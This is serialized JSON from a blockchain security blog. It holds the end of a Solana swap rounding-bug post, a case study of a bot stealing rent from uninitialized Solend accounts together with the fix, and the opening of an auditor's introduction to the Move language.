:2326,"children":2327},{"style":399},[2328],{"type":24,"value":1757},{"type":19,"tag":168,"props":2330,"children":2331},{"style":399},[2332],{"type":24,"value":566},{"type":19,"tag":168,"props":2334,"children":2335},{"style":175},[2336],{"type":24,"value":2337},"checked_div",{"type":19,"tag":168,"props":2339,"children":2340},{"style":212},[2341],{"type":24,"value":500},{"type":19,"tag":168,"props":2343,"children":2344},{"style":175},[2345],{"type":24,"value":580},{"type":19,"tag":168,"props":2347,"children":2348},{"style":212},[2349],{"type":24,"value":500},{"type":19,"tag":168,"props":2351,"children":2352},{"style":399},[2353],{"type":24,"value":505},{"type":19,"tag":168,"props":2355,"children":2356},{"style":393},[2357],{"type":24,"value":510},{"type":19,"tag":168,"props":2359,"children":2360},{"style":212},[2361],{"type":24,"value":471},{"type":19,"tag":168,"props":2363,"children":2364},{"style":192},[2365],{"type":24,"value":519},{"type":19,"tag":168,"props":2367,"children":2368},{"style":212},[2369],{"type":24,"value":524},{"type":19,"tag":168,"props":2371,"children":2372},{"style":399},[2373],{"type":24,"value":529},{"type":19,"tag":168,"props":2375,"children":2376},{"style":175},[2377],{"type":24,"value":534},{"type":19,"tag":168,"props":2379,"children":2380},{"style":212},[2381],{"type":24,"value":500},{"type":19,"tag":168,"props":2383,"children":2384},{"style":393},[2385],{"type":24,"value":621},{"type":19,"tag":168,"props":2387,"children":2388},{"style":212},[2389],{"type":24,"value":524},{"type":19,"tag":168,"props":2391,"children":2392},{"style":399},[2393],{"type":24,"value":529},{"type":19,"tag":168,"props":2395,"children":2396},{"style":175},[2397],{"type":24,"value":634},{"type":19,"tag":168,"props":2399,"children":2400},{"style":212},[2401],{"type":24,"value":500},{"type":19,"tag":168,"props":2403,"children":2404},{"style":393},[2405],{"type":24,"value":643},{"type":19,"tag":168,"props":2407,"children":2408},{"style":212},[2409],{"type":24,"value":524},{"type":19,"tag":168,"props":2411,"children":2412},{"style":399},[2413],{"type":24,"value":552},{"type":19,"tag":168,"props":2415,"children":2416},{"style":212},[2417],{"type":24,"value":524},{"type":19,"tag":168,"props":2419,"children":2420},{"style":399},[2421],{"type":24,"value":552},{"type":19,"tag":168,"props":2423,"children":2424},{"style":212},[2425],{"type":24,"value":412},{"type":19,"tag":168,"props":2427,"children":2428},{"class":170,"line":707},[2429,2433,2437,2441,2445,2449],{"type":19,"tag":168,"props":2430,"children":2431},{"style":399},[2432],{"type":24,"value":1757},{"type":19,"tag":168,"props":2434,"children":2435},{"style":419},[2436],{"type":24,"value":672},{"type":19,"tag":168,"props":2438,"children":2439},{"style":393},[2440],{"type":24,"value":396},{"type":19,"tag":168,"props":2442,"children":2443},{"style":399},[2444],{"type":24,"value":682},{"type":19,"tag":168,"props":2446,"children":2447},{"style":393},[2448],{"type":24,"value":2153},{"type":19,"tag":168,"props":2450,"children":2451},{"style":212},[2452],{"type":24,"value":691},{"type":19,"tag":168,"props":2454,"children":2455},{"class":170,"line":725},[2456,2460,2464,2468,2472,2476,2480,2484,2488,2492,2496,2500,2504,2508,2512,2516,2520,2524,2528,2532,2536,2540,2544],{"type":19,"tag":168,"props":2457,"children":2458},{"style":399},[2459],{"type":24,"value":1811},{"type":19,"tag":168,"props":2461,"children":2462},{"style":382},[2463],{"type":24,"value":456},{"type":19,"tag":168,"props":2465,"children":2466},{"style":212},[2467],{"type":24,"value":461},{"type":19,"tag":168,"props":2469,"children":2470},{"style":393},[2471],{"type":24,"value":466},{"type":19,"tag":168,"props":2473,"children":2474},{"style":212},[2475],{"type":24,"value":471},{"type":19,"tag":168,"props":2477,"children":2478},{"style":393},[2479],{"type":24,"value":476},{"type":19,"tag":168,"props":2481,"children":2482},{"style":212},[2483],{"type":24,"value":481},{"type":19,"tag":168,"props":2485,"children":2486},{"style":399},[2487],{"type":24,"value":486},{"type":19,"tag":168,"props":2489,"children":2490},{"style":212},[2491],{"type":24,"value":461},{"type":19,"tag":168,"props":2493,"children":2494},{"style":175},[2495],{"type":24,"value":495},{"type":19,"tag":168,"props":2497,"children":2498},{"style":212},[2499],{"type":24,"value":500},{"type":19,"tag":168,"props":2501,"children":2502},{"style":399},[2503],{"type":24,"value":505},{"type":19,"tag":168,"props":2505,"children":2506},{"style":393},[2507],{"type":24,"value":510},{"type":19,"tag":168,"props":2509,"children":2510},{"style":212},[2511],{"type":24,"value":471},{"type":19,"tag":168,"props":2513,"children":2514},{"style":192},[2515],{"type":24,"value":519},{"type":19,"tag":168,"props":2517,"children":2518},{"style":212},[2519],{"type":24,"value":524},{"type":19,"tag":168,"props":2521,"children":2522},{"style":399},[2523],{"type":24,"value":529},{"type":19,"tag":168,"props":2525,"children":2526},{"style":175},[2527],{"type":24,"value":534},{"type":19,"tag":168,"props":2529,"children":2530},{"style":212},[2531],{"type":24,"value":500},{"type":19,"tag":168,"props":2533,"children":2534},{"style":393},[2535],{"type":24,"value":543},{"type":19,"tag":168,"props":2537,"children":2538},{"style":212},[2539],{"type":24,"value":524},{"type":19,"tag":168,"props":2541,"children":2542},{"style":399},[2543],{"type":24,"value":552},{"type":19,"tag":168,"props":2545,"children":2546},{"style":212},[2547],{"type":24,"value":557},{"type":19,"tag":168,"props":2549,"children":2550},{"class":170,"line":746},[2551,2555,2559,2563,2567,2571,2575,2579,2583,2587,2591,2595,2599,2603,2607,2611,2615,2619,2623,2627,2631,2635,2639,2643,2647],{"type":19,"tag":168,"props":2552,"children":2553},{"style":399},[2554],{"type":24,"value":1811},{"type":19,"tag":168,"props":2556,"children":2557},{"style":399},[2558],{"type":24,"value":566},{"type":19,"tag":168,"props":2560,"children":2561},{"style":175},[2562],{"type":24,"value":571},{"type":19,"tag":168,"props":2564,"children":2565},{"style":212},[2566],{"type":24,"value":500},{"type":19,"tag":168,"props":2568,"children":2569},{"style":175},[2570],{"type":24,"value":580},{"type":19,"tag":168,"props":2572,"children":2573},{"style":212},[2574],{"type":24,"value":500},{"type":19,"tag":168,"props":2576,"children":2577},{"style":399},[2578],{"type":24,"value":505},{"type":19,"tag":168,"props":2580,"children":2581},{"style":393},[2582],{"type":24,"value":510},{"type":19,"tag":168,"props":2584,"children":2585},{"style":212},[2586],{"type":24,"value":471},{"type":19,"tag":168,"props":2588,"children":2589},{"style":192},[2590],{"type":24,"value":519},{"type":19,"tag":168,"props":2592,"children":2593},{"style":212},[2594],{"type":24,"value":524},{"type":19,"tag":168,"props":2596,"children":2597},{"style":399},[2598],{"type":24,"value":529},{"type":19,"tag":168,"props":2600,"children":2601},{"style":175},[2602],{"type":24,"value":534},{"type":19,"tag":168,"props":2604,"children":2605},{"style":212},[2606],{"type":24,"value":500},{"type":19,"tag":168,"props":2608,"children":2609},{"style":393},[2610],{"type":24,"value":621},{"type":19,"tag":168,"props":2612,"children":2613},{"style":212},[2614],{"type":24,"value":524},{"type":19,"tag":168,"props":2616,"children":2617},{"style":399},[2618],{"type":24,"value":529},{"type":19,"tag":168,"props":2620,"children":2621},{"style":175},[2622],{"type":24,"value":634},{"type":19,"tag":168,"props":2624,"children":2625},{"style":212},[2626],{"type":24,"value":500},{"type":19,"tag":168,"props":2628,"children":2629},{"style":393},[2630],{"type":24,"value":643},{"type":19,"tag":168,"props":2632,"children":2633},{"style":212},[2634],{"type":24,"value":524},{"type":19,"tag":168,"props":2636,"children":2637},{"style":399},[2638],{"type":24,"value":552},{"type":19,"tag":168,"props":2640,"children":2641},{"style":212},[2642],{"type":24,"value":524},{"type":19,"tag":168,"props":2644,"children":2645},{"style":399},[2646],{"type":24,"value":552},{"type":19,"tag":168,"props":2648,"children":2649},{"style":212},[2650],{"type":24,"value":412},{"type":19,"tag":168,"props":2652,"children":2653},{"class":170,"line":755},[2654,2658,2662,2666,2670,2674],{"type":19,"tag":168,"props":2655,"children":2656},{"style":399},[2657],{"type":24,"value":1811},{"type":19,"tag":168,"props":2659,"children":2660},{"style":419},[2661],{"type":24,"value":672},{"type":19,"tag":168,"props":2663,"children":2664},{"style":393},[2665],{"type":24,"value":677},{"type":19,"tag":168,"props":2667,"children":2668},{"style":399},[2669],{"type":24,"value":682},{"type":19,"tag":168,"props":2671,"children":2672},{"style":393},[2673],{"type":24,"value":396},{"type":19,"tag":168,"props":2675,"children":2676},{"style":212},[2677],{"type":24,"value":691},{"type":19,"tag":168,"props":2679,"children":2680},{"class":170,"line":1008},[2681,2686],{"type":19,"tag":168,"props":2682,"children":2683},{"style":419},[2684],{"type":24,"value":2685}," break",{"type":19,"tag":168,"props":2687,"children":2688},{"style":212},[2689],{"type":24,"value":412},{"type":19,"tag":168,"props":2691,"children":2692},{"class":170,"line":1025},[2693,2697,2701,2705],{"type":19,"tag":168,"props":2694,"children":2695},{"style":399},[2696],{"type":24,"value":1811},{"type":19,"tag":168,"props":2698,"children":2699},{"style":212},[2700],{"type":24,"value":713},{"type":19,"tag":168,"props":2702,"children":2703},{"style":419},[2704],{"type":24,"value":718},{"type":19,"tag":168,"props":2706,"children":2707},{"style":212},[2708],{"type":24,"value":691},{"type":19,"tag":168,"props":2710,"children":2711},{"class":170,"line":1042},[2712,2716,2720,2724,2728],{"type":19,"tag":168,"props":2713,"children":2714},{"style":399},[2715],{"type":24,"value":1811},{"type":19,"tag":168,"props":2717,"children":2718},{"style":393},[2719],{"type":24,"value":731},{"type":19,"tag":168,"props":2721,"children":2722},{"style":399},[2723],{"type":24,"value":402},{"type":19,"tag":168,"props":2725,"children":2726},{"style":393},[2727],{"type":24,"value":677},{"type":19,"tag":168,"props":2729,"children":2730},{"style":212},[2731],{"type":24,"value":412},{"type":19,"tag":168,"props":2733,"children":2734},{"class":170,"line":1055},[2735],{"type":19,"tag":168,"props":2736,"children":2737},{"style":212},[2738],{"type":24,"value":2739}," }\n",{"type":19,"tag":36,"props":2741,"children":2743},{"id":2742},"closing-thoughts",[2744],{"type":24,"value":2745},"Closing Thoughts",{"type":19,"tag":20,"props":2747,"children":2748},{},[2749],{"type":24,"value":2750},"This is a good example of how messing around and interacting with the ecosystem can lead to unexpected bugs. We found this, not as a result of active security research, but as part of our work in MEV and trading.",{"type":19,"tag":20,"props":2752,"children":2753},{},[2754,2756,2761],{"type":24,"value":2755},"Another interesting takeaway is that ",{"type":19,"tag":51,"props":2757,"children":2758},{},[2759],{"type":24,"value":2760},"fuzzing can give a false sense of security",{"type":24,"value":2762},". Prior to our report, Saber had already deployed comprehensive fuzzers for their swap implementation. A researcher looking at code coverage alone might come to the incorrect conclusion that such extensively fuzzed code couldn't possibly have a vulnerability.",{"type":19,"tag":20,"props":2764,"children":2765},{},[2766,2768,2775],{"type":24,"value":2767},"One can see parallels to traditional security, as with Google Project Zero's ",{"type":19,"tag":269,"props":2769,"children":2772},{"href":2770,"rel":2771},"https://googleprojectzero.blogspot.com/2021/12/this-shouldnt-have-happened.html",[273],[2773],{"type":24,"value":2774},"port-mortem of the NSS overflow",{"type":24,"value":948},{"type":19,"tag":20,"props":2777,"children":2778},{},[2779],{"type":19,"tag":1344,"props":2780,"children":2782},{"alt":7,"src":2781},"/posts/spl-swap/p0.png",[],{"type":19,"tag":20,"props":2784,"children":2785},{},[2786],{"type":24,"value":2787},"A heavily fuzzed method had a trivial buffer overflow due to an arbitrary size limit on the input data. Implict assumptions can often undermine security.",{"type":19,"tag":20,"props":2789,"children":2790},{},[2791],{"type":24,"value":2792},"Especially with regard to onchain programs, it's important to consider what actually is a \"vulnerability\". Getting tokens from nothing is a more obvious example, but more subtle bugs can arise with increasingly complex defi interactions. Economic invariants are much harder to detect than say, memory corruption.",{"type":19,"tag":20,"props":2794,"children":2795},{},[2796],{"type":24,"value":2797},"A comprehensive evaluation of smart contracts relies on a deep understanding of economic implications within the Solana ecosystem.",{"type":19,"tag":232,"props":2799,"children":2800},{},[2801],{"type":24,"value":236},{"title":7,"searchDepth":198,"depth":198,"links":2803},[2804,2805,2806,2807],{"id":300,"depth":198,"text":303},{"id":1350,"depth":198,"text":1353},{"id":1657,"depth":198,"text":1660},{"id":2742,"depth":198,"text":2745},"content:blog:2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding.md","blog/2022-04-26-spl-swap-rounding",{"_path":2812,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":2813,"description":2814,"image":2815,"date":2819,"isFeatured":14,"onBlogPage":14,"tags":2820,"body":2821,"_type":242,"_id":3146,"_source":244,"_file":3147,"_stem":3148,"_extension":247},"/blog/2022-08-19-solend-rent-thief","The Story of the Curious Rent Thief","A tale of pickpockets preying on the Solana ecosystem. Read our investigation into the persistent theft of rent from uninitialized accounts. This is the story of the Solend rent thief.",{"src":2816,"width":2817,"height":2818},"/posts/rent-thief/title.jpg",970,826,"2022-08-19",[259,260],{"type":16,"children":2822,"toc":3139},[2823,2828,2834,2839,2844,2849,2855,2868,2916,2947,2956,2961,2966,2971,2977,2990,3006,3011,3016,3031,3035,3040,3055,3062,3067,3077,3084,3088,3093,3099,3104,3109,3114,3120,3125],{"type":19,"tag":20,"props":2824,"children":2825},{},[2826],{"type":24,"value":2827},"Recently, there’s been a rent thief. This bot steals money from uninitialized accounts across the Solana ecosystem, claiming and profiting from the rent. The Solend team noticed the bot when it attempted an attack on the new permissionless pools that are being developed (to be clear, funds stored in the main Solend protocol are completely unaffected). Let's dig into how rent thieving works by doing a case study on an attack to one of the permissionless pools.",{"type":19,"tag":36,"props":2829,"children":2831},{"id":2830},"background",[2832],{"type":24,"value":2833},"Background",{"type":19,"tag":20,"props":2835,"children":2836},{},[2837],{"type":24,"value":2838},"To understand how this exploit works, we first have to understand a bit about how rent works in Solana.",{"type":19,"tag":20,"props":2840,"children":2841},{},[2842],{"type":24,"value":2843},"Since accounts can store data that every validator needs to download, Solana charges a certain amount of rent based on the amount of data. However, accounts that have enough for 2 years of rent payments are considered rent-exempt as long as their balance never drops below the threshold. Fortunately, rent is very cheap, so it's not hard to make an account rent-exempt.",{"type":19,"tag":20,"props":2845,"children":2846},{},[2847],{"type":24,"value":2848},"As such, when creating new accounts, most programs will need to transfer some SOL into the new account to make it rent-exempt.",{"type":19,"tag":36,"props":2850,"children":2852},{"id":2851},"the-exploit",[2853],{"type":24,"value":2854},"The Exploit",{"type":19,"tag":20,"props":2856,"children":2857},{},[2858,2860,2866],{"type":24,"value":2859},"New reserves (also known as assets) are added to a Solend pool by calling the ",{"type":19,"tag":27,"props":2861,"children":2863},{"className":2862},[],[2864],{"type":24,"value":2865},"init_reserve",{"type":24,"value":2867}," function, which creates 6 new accounts to store data about the reserve:",{"type":19,"tag":2869,"props":2870,"children":2871},"ol",{},[2872,2877,2882,2887,2898,2903],{"type":19,"tag":47,"props":2873,"children":2874},{},[2875],{"type":24,"value":2876},"reserve detail - stores information about the reserve e.g liquidity mint, mint decimals, oracles, configs, etc.",{"type":19,"tag":47,"props":2878,"children":2879},{},[2880],{"type":24,"value":2881},"reserve liquidity token account - holds deposited tokens",{"type":19,"tag":47,"props":2883,"children":2884},{},[2885],{"type":24,"value":2886},"fee receiver token account - account which will receive origination fees on borrows",{"type":19,"tag":47,"props":2888,"children":2889},{},[2890,2892],{"type":24,"value":2891},"reserve collateral mint account - deposit receipt token, also known as ",{"type":19,"tag":27,"props":2893,"children":2895},{"className":2894},[],[2896],{"type":24,"value":2897},"cTokens",{"type":19,"tag":47,"props":2899,"children":2900},{},[2901],{"type":24,"value":2902},"reserve collateral token account - holds users' collateral tokens",{"type":19,"tag":47,"props":2904,"children":2905},{},[2906,2908,2914],{"type":24,"value":2907},"creator collateral token account - creator's ",{"type":19,"tag":27,"props":2909,"children":2911},{"className":2910},[],[2912],{"type":24,"value":2913},"cToken",{"type":24,"value":2915}," account",{"type":19,"tag":20,"props":2917,"children":2918},{},[2919,2921,2926,2928,2933,2935,2940,2942],{"type":24,"value":2920},"Account creation and initialization are ",{"type":19,"tag":293,"props":2922,"children":2923},{},[2924],{"type":24,"value":2925},"usually",{"type":24,"value":2927}," done within the same transactions. However, due to Solana's transaction size limit of 1232 bytes, the creation and initialization of these 6 accounts had to be separated into 2 transactions, creation and initialization. Here's what a call to ",{"type":19,"tag":27,"props":2929,"children":2931},{"className":2930},[],[2932],{"type":24,"value":2865},{"type":24,"value":2934}," is ",{"type":19,"tag":293,"props":2936,"children":2937},{},[2938],{"type":24,"value":2939},"supposed",{"type":24,"value":2941}," to look like:\n",{"type":19,"tag":1344,"props":2943,"children":2946},{"src":2944,"alt":2945},"/posts/rent-thief/transacdiagram.png","drawing",[],{"type":19,"tag":20,"props":2948,"children":2949},{},[2950,2952],{"type":24,"value":2951},"Notice anything amiss? In between the two transactions, the account has rent money but no owner. This is where the rent thief comes in to snatch the account, along with its rent:\n",{"type":19,"tag":1344,"props":2953,"children":2955},{"src":2954,"alt":2945},"/posts/rent-thief/attacktransac.png",[],{"type":19,"tag":20,"props":2957,"children":2958},{},[2959],{"type":24,"value":2960},"Since there was a roughly 40 second (50 slot) window in between the two transactions, such an attack was very consistent.",{"type":19,"tag":20,"props":2962,"children":2963},{},[2964],{"type":24,"value":2965},"Fortunately, rent is relatively cheap so the entire attack only extracts about 0.0082 SOL every iteration (4 token accounts each worth around 0.002 SOL), which is around 28 cents at the time of writing this article.",{"type":19,"tag":20,"props":2967,"children":2968},{},[2969],{"type":24,"value":2970},"Despite this lost cost, this is pretty annoying...",{"type":19,"tag":36,"props":2972,"children":2974},{"id":2973},"example",[2975],{"type":24,"value":2976},"Example",{"type":19,"tag":20,"props":2978,"children":2979},{},[2980,2982,2989],{"type":24,"value":2981},"Let's take a look at ",{"type":19,"tag":269,"props":2983,"children":2986},{"href":2984,"rel":2985},"https://explorer.solana.com/address/2PUTo74Vbt9fXVoTywjTFZNnWGckWS98HnruXvZJaj4N",[273],[2987],{"type":24,"value":2988},"a real attack",{"type":24,"value":948},{"type":19,"tag":20,"props":2991,"children":2992},{},[2993,3000,3002],{"type":19,"tag":269,"props":2994,"children":2997},{"href":2995,"rel":2996},"https://explorer.solana.com/tx/9yon9Av2sBq78bZ92Pa28p8gef5MUEQL3sBLGVzxK3RNGYsN2nLnTrbqS1wMCvJdinKE8CC9SwCuUYuNBwrNFNy",[273],[2998],{"type":24,"value":2999},"Transaction 1",{"type":24,"value":3001},":\n",{"type":19,"tag":1344,"props":3003,"children":3005},{"alt":7,"src":3004},"https://i.imgur.com/xJvIwgc.png",[],{"type":19,"tag":20,"props":3007,"children":3008},{},[3009],{"type":24,"value":3010},"(...more accounts truncated)",{"type":19,"tag":20,"props":3012,"children":3013},{},[3014],{"type":24,"value":3015},"The developer creates a couple accounts and transfers enough SOL for them to be rent-exempt. This took place in slot 136,580,113.",{"type":19,"tag":20,"props":3017,"children":3018},{},[3019,3026,3027],{"type":19,"tag":269,"props":3020,"children":3023},{"href":3021,"rel":3022},"https://explorer.solana.com/tx/22beQSDReFGK4KAgarAz4MbibpxaFHiARd3yaCDZ4wmKSNoTcxmKMp6uRNA2CY4xAAZVZZCDg522aJ7jXftyhtSE",[273],[3024],{"type":24,"value":3025},"Attacker's Transaction",{"type":24,"value":3001},{"type":19,"tag":1344,"props":3028,"children":3030},{"alt":7,"src":3029},"https://i.imgur.com/CpSKuL3.png",[],{"type":19,"tag":20,"props":3032,"children":3033},{},[3034],{"type":24,"value":3010},{"type":19,"tag":20,"props":3036,"children":3037},{},[3038],{"type":24,"value":3039},"As detailed before, the attacker takes ownership of the newly created accounts. This took place in slot 136,580,154, which is 41 slots (29 seconds) after the initial transaction.",{"type":19,"tag":20,"props":3041,"children":3042},{},[3043,3050,3051],{"type":19,"tag":269,"props":3044,"children":3047},{"href":3045,"rel":3046},"https://explorer.solana.com/tx/beYo1YBCa4fQ8swdJchx9s4qtgDQV4oVSEqwAX7UpHan4U4Jsv1oxY2V2ZxE77pBQHzYwV4gCXpDDKTgM7kBT4y",[273],[3048],{"type":24,"value":3049},"Transaction 2",{"type":24,"value":3001},{"type":19,"tag":1344,"props":3052,"children":3054},{"alt":7,"src":3053},"https://i.imgur.com/of0GIdw.png",[],{"type":19,"tag":20,"props":3056,"children":3057},{},[3058],{"type":19,"tag":1344,"props":3059,"children":3061},{"alt":7,"src":3060},"https://i.imgur.com/0STSyv8.png",[],{"type":19,"tag":20,"props":3063,"children":3064},{},[3065],{"type":24,"value":3066},"The developer attempts to take ownership of the account, but it fails with the error \"account or token already in use\" since the attacker took ownership of it. This took place in slot 136,580,167, which is 13 slots (9 seconds) after the attacker's transaction. In total, that's a 54 slot-gap (38 seconds) between the two Solend transactions.",{"type":19,"tag":20,"props":3068,"children":3069},{},[3070,3076],{"type":19,"tag":269,"props":3071,"children":3074},{"href":3072,"rel":3073},"https://explorer.solana.com/tx/3D45bCbbeSEaigz3RX6GRKuoDSok3FHMi5Z2N5HDXcPjqMzu3Qx5iEoXh56RWg1mn7w9ZuZifD91n1DwnPjdaW2G",[273],[3075],{"type":24,"value":3025},{"type":24,"value":1922},{"type":19,"tag":20,"props":3078,"children":3079},{},[3080],{"type":19,"tag":1344,"props":3081,"children":3083},{"alt":7,"src":3082},"https://i.imgur.com/AmSPdmy.png",[],{"type":19,"tag":20,"props":3085,"children":3086},{},[3087],{"type":24,"value":3010},{"type":19,"tag":20,"props":3089,"children":3090},{},[3091],{"type":24,"value":3092},"Now that the attack is over, the attacker closes the accounts, transferring the rent money to themselves. The total money stolen during this attack was 0.00815212 SOL.",{"type":19,"tag":36,"props":3094,"children":3096},{"id":3095},"impact",[3097],{"type":24,"value":3098},"Impact",{"type":19,"tag":20,"props":3100,"children":3101},{},[3102],{"type":24,"value":3103},"Rent-thieving attacks don't steal much money.",{"type":19,"tag":20,"props":3105,"children":3106},{},[3107],{"type":24,"value":3108},"They can only make a small profit very infrequently as Solana rent is cheap and there are only a handful of large services that separate account creation and initialization. In addition, this stratedgy doesn't scale well, since such non-atomic account creation is relatively infrequent.",{"type":19,"tag":20,"props":3110,"children":3111},{},[3112],{"type":24,"value":3113},"However, it's still obnoxious even if the monetary impact is minimal. Transactions will fail and need to be remade, impacting usability.",{"type":19,"tag":36,"props":3115,"children":3117},{"id":3116},"solution",[3118],{"type":24,"value":3119},"Solution",{"type":19,"tag":20,"props":3121,"children":3122},{},[3123],{"type":24,"value":3124},"As a temporary stopgap, Solend refactored their codebase to lower the 40 second delay between transactions to around 15 seconds (20 slots), making an attack much more difficult and inconsistent.",{"type":19,"tag":20,"props":3126,"children":3127},{},[3128,3130,3137],{"type":24,"value":3129},"As a more permenant solution, Solend implemented ",{"type":19,"tag":269,"props":3131,"children":3134},{"href":3132,"rel":3133},"https://explorer.solana.com/tx/3DR74oQh966HbozLPYFqTgCmQWbUNSBkjUcEs7CuWxMPNxM3mBzqH7Gqu1mVRBRxNSTWJBcJkTnCzmoqD6kPYMXE?cluster=devnet",[273],[3135],{"type":24,"value":3136},"an onchain program",{"type":24,"value":3138}," which handles account creation, allowing them to fit all the relevant instructions into one transaction.",{"title":7,"searchDepth":198,"depth":198,"links":3140},[3141,3142,3143,3144,3145],{"id":2830,"depth":198,"text":2833},{"id":2851,"depth":198,"text":2854},{"id":2973,"depth":198,"text":2976},{"id":3095,"depth":198,"text":3098},{"id":3116,"depth":198,"text":3119},"content:blog:2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief.md","blog/2022-08-19-solend-rent-thief",{"_path":3150,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":3151,"description":3152,"author":3153,"image":3154,"date":3158,"isFeatured":14,"onBlogPage":14,"body":3159,"_type":242,"_id":6697,"_source":244,"_file":6698,"_stem":6699,"_extension":247},"/blog/2022-09-06-move-introduction","Move: An Auditor's Introduction","What actually makes Move secure? A discussion of Move's typing system and formal verification.","robert",{"src":3155,"height":3156,"width":3157},"/posts/move-intro/title.jpg",1221,1400,"2022-09-06",{"type":16,"children":3160,"toc":6692},[3161,3166,3171,3190,3196,3208,3307,3315,3435,3443,3465,3618,3623,3881,3903,3938,3943,3963,3968,3979,3991,4203,4215,4229,4242,4499,4511,4733,4738,4766,4912,4931,4936,5201,5213,5218,5231,5237,5242,5247,5259,5273,5278,5377,5389,5402,5676,5681,5693,5698,5752,5772,5777,6661,6665,6670,6675,6688],{"type":19,"tag":20,"props":3162,"children":3163},{},[3164],{"type":24,"value":3165},"As part of our work, we seek to understand how to eliminate vulnerability classes. Designing safer languages enables developers to write code with confidence. How exactly does Move lend itself to safer programming practices? What can we learn from Move to generalize secure design principles for other execution environments?",{"type":19,"tag":20,"props":3167,"children":3168},{},[3169],{"type":24,"value":3170},"Lately, there appears to be many buzzwords floating around. Formal verification, type based safety, \"rust but for blockchain\".",{"type":19,"tag":20,"props":3172,"children":3173},{},[3174,3176,3181,3183,3188],{"type":24,"value":3175},"In this piece I'll seek to discuss exactly ",{"type":19,"tag":293,"props":3177,"children":3178},{},[3179],{"type":24,"value":3180},"how",{"type":24,"value":3182}," move lends itself to more secure programming practices, potential shortcomings, and practical design tips for protocol developers looking to build ",{"type":19,"tag":293,"props":3184,"children":3185},{},[3186],{"type":24,"value":3187},"structurally",{"type":24,"value":3189}," safer programs.",{"type":19,"tag":36,"props":3191,"children":3193},{"id":3192},"types",[3194],{"type":24,"value":3195},"Types",{"type":19,"tag":20,"props":3197,"children":3198},{},[3199,3201,3207],{"type":24,"value":3200},"One of the key selling points of Move is the use of typed resources. Aptos and Sui have slight variations in how they materialize this pattern, but as an example take ",{"type":19,"tag":27,"props":3202,"children":3204},{"className":3203},[],[3205],{"type":24,"value":3206},"coin.move",{"type":24,"value":948},{"type":19,"tag":158,"props":3209,"children":3211},{"className":363,"code":3210,"language":362,"meta":7,"style":7}," /// Main structure representing a coin/token in an account's custody.\n struct Coin\u003Cphantom CoinType> has store {\n /// Amount of coin this address has.\n value: u64,\n }\n",[3212],{"type":19,"tag":27,"props":3213,"children":3214},{"__ignoreMap":7},[3215,3223,3270,3278,3299],{"type":19,"tag":168,"props":3216,"children":3217},{"class":170,"line":171},[3218],{"type":19,"tag":168,"props":3219,"children":3220},{"style":373},[3221],{"type":24,"value":3222}," /// Main structure representing a coin/token in an account's custody.\n",{"type":19,"tag":168,"props":3224,"children":3225},{"class":170,"line":198},[3226,3231,3236,3241,3246,3251,3256,3261,3266],{"type":19,"tag":168,"props":3227,"children":3228},{"style":382},[3229],{"type":24,"value":3230}," struct",{"type":19,"tag":168,"props":3232,"children":3233},{"style":825},[3234],{"type":24,"value":3235}," Coin",{"type":19,"tag":168,"props":3237,"children":3238},{"style":212},[3239],{"type":24,"value":3240},"\u003C",{"type":19,"tag":168,"props":3242,"children":3243},{"style":393},[3244],{"type":24,"value":3245},"phantom",{"type":19,"tag":168,"props":3247,"children":3248},{"style":825},[3249],{"type":24,"value":3250}," CoinType",{"type":19,"tag":168,"props":3252,"children":3253},{"style":212},[3254],{"type":24,"value":3255},"> ",{"type":19,"tag":168,"props":3257,"children":3258},{"style":393},[3259],{"type":24,"value":3260},"has",{"type":19,"tag":168,"props":3262,"children":3263},{"style":393},[3264],{"type":24,"value":3265}," store",{"type":19,"tag":168,"props":3267,"children":3268},{"style":212},[3269],{"type":24,"value":691},{"type":19,"tag":168,"props":3271,"children":3272},{"class":170,"line":415},[3273],{"type":19,"tag":168,"props":3274,"children":3275},{"style":373},[3276],{"type":24,"value":3277}," /// Amount of coin this address has.\n",{"type":19,"tag":168,"props":3279,"children":3280},{"class":170,"line":450},[3281,3286,3290,3295],{"type":19,"tag":168,"props":3282,"children":3283},{"style":393},[3284],{"type":24,"value":3285}," value",{"type":19,"tag":168,"props":3287,"children":3288},{"style":399},[3289],{"type":24,"value":1922},{"type":19,"tag":168,"props":3291,"children":3292},{"style":825},[3293],{"type":24,"value":3294}," u64",{"type":19,"tag":168,"props":3296,"children":3297},{"style":212},[3298],{"type":24,"value":915},{"type":19,"tag":168,"props":3300,"children":3301},{"class":170,"line":560},[3302],{"type":19,"tag":168,"props":3303,"children":3304},{"style":212},[3305],{"type":24,"value":3306}," }\n",{"type":19,"tag":20,"props":3308,"children":3309},{},[3310],{"type":19,"tag":293,"props":3311,"children":3312},{},[3313],{"type":24,"value":3314},"aptos",{"type":19,"tag":158,"props":3316,"children":3318},{"className":363,"code":3317,"language":362,"meta":7,"style":7}," /// A coin of type `T` worth `value`. Transferable and storable\n struct Coin\u003Cphantom T> has key, store {\n id: UID,\n balance: Balance\u003CT>\n }\n",[3319],{"type":19,"tag":27,"props":3320,"children":3321},{"__ignoreMap":7},[3322,3330,3380,3397,3428],{"type":19,"tag":168,"props":3323,"children":3324},{"class":170,"line":171},[3325],{"type":19,"tag":168,"props":3326,"children":3327},{"style":373},[3328],{"type":24,"value":3329}," /// A coin of type `T` worth `value`. Transferable and storable\n",{"type":19,"tag":168,"props":3331,"children":3332},{"class":170,"line":198},[3333,3337,3341,3345,3349,3354,3358,3362,3367,3371,3376],{"type":19,"tag":168,"props":3334,"children":3335},{"style":382},[3336],{"type":24,"value":3230},{"type":19,"tag":168,"props":3338,"children":3339},{"style":825},[3340],{"type":24,"value":3235},{"type":19,"tag":168,"props":3342,"children":3343},{"style":212},[3344],{"type":24,"value":3240},{"type":19,"tag":168,"props":3346,"children":3347},{"style":393},[3348],{"type":24,"value":3245},{"type":19,"tag":168,"props":3350,"children":3351},{"style":825},[3352],{"type":24,"value":3353}," T",{"type":19,"tag":168,"props":3355,"children":3356},{"style":212},[3357],{"type":24,"value":3255},{"type":19,"tag":168,"props":3359,"children":3360},{"style":393},[3361],{"type":24,"value":3260},{"type":19,"tag":168,"props":3363,"children":3364},{"style":393},[3365],{"type":24,"value":3366}," 